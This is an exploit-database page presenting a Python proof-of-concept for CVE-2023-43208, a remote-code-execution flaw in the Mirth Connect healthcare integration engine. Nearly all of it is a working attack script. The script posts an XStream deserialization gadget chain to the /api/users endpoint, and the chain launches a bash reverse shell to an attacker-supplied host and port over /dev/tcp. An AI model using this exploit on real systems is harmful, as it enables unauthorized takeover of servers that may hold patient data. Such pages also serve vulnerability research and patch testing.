Exploit database

GH-34234cc0c24090dd3c60cb72f5c9d36f

azrvs/mirth-connect-cve-2023-43208

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-43208

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
azrvs/mirth-connect-cve-2023-43208Revision 2ff79e07a9ff

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

mirth_rce.py

Python · 3,359 bytes
import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_args():
    if len(sys.argv) < 4:
        print(f"Usage: python3 {sys.argv[0]} <url> <lhost> <lport>")
        sys.exit(1)
    return sys.argv[1], sys.argv[2], sys.argv[3]

def pwn(url, lhost, lport):
    target_url = f"{url.rstrip('/')}/api/users"
    headers = {
        "X-Requested-With": "OpenAPI",
        "Content-Type": "application/xml",
    }
    payload = f"""<sorted-set>
    <string>anything</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
                <iTransformers>
                    <org.apache.commons.collections4.functors.ConstantTransformer>
                        <iConstant class="java-class">java.lang.ProcessBuilder</iConstant>
                    </org.apache.commons.collections4.functors.ConstantTransformer>
                    
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>getConstructor</iMethodName>
                        <iParamTypes>
                            <java-class>[Ljava.lang.Class;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <java-class-array>
                                <java-class>[Ljava.lang.String;</java-class>
                            </java-class-array>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>

                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>newInstance</iMethodName>
                        <iParamTypes>
                            <java-class>[Ljava.lang.Object;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <object-array>
                                <string-array>
                                    <string>bash</string>
                                    <string>-c</string>
                                    <string>bash -i &#x3e;&#x26; /dev/tcp/{lhost}/{lport} 0&#x3e;&#x26;1</string>
                                </string-array>
                            </object-array>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>

                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>start</iMethodName>
                        <iParamTypes/>
                        <iArgs/>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
                <string>compareTo</string>
            </eventTypes>
        </handler>
    </dynamic-proxy>
</sorted-set>"""

    try:
        requests.post(target_url, headers=headers, data=payload, verify=False, timeout=12)
    except:
        pass

if __name__ == "__main__":
    url, lhost, lport = get_args()
    pwn(url, lhost, lport)
    print("Enjoy.")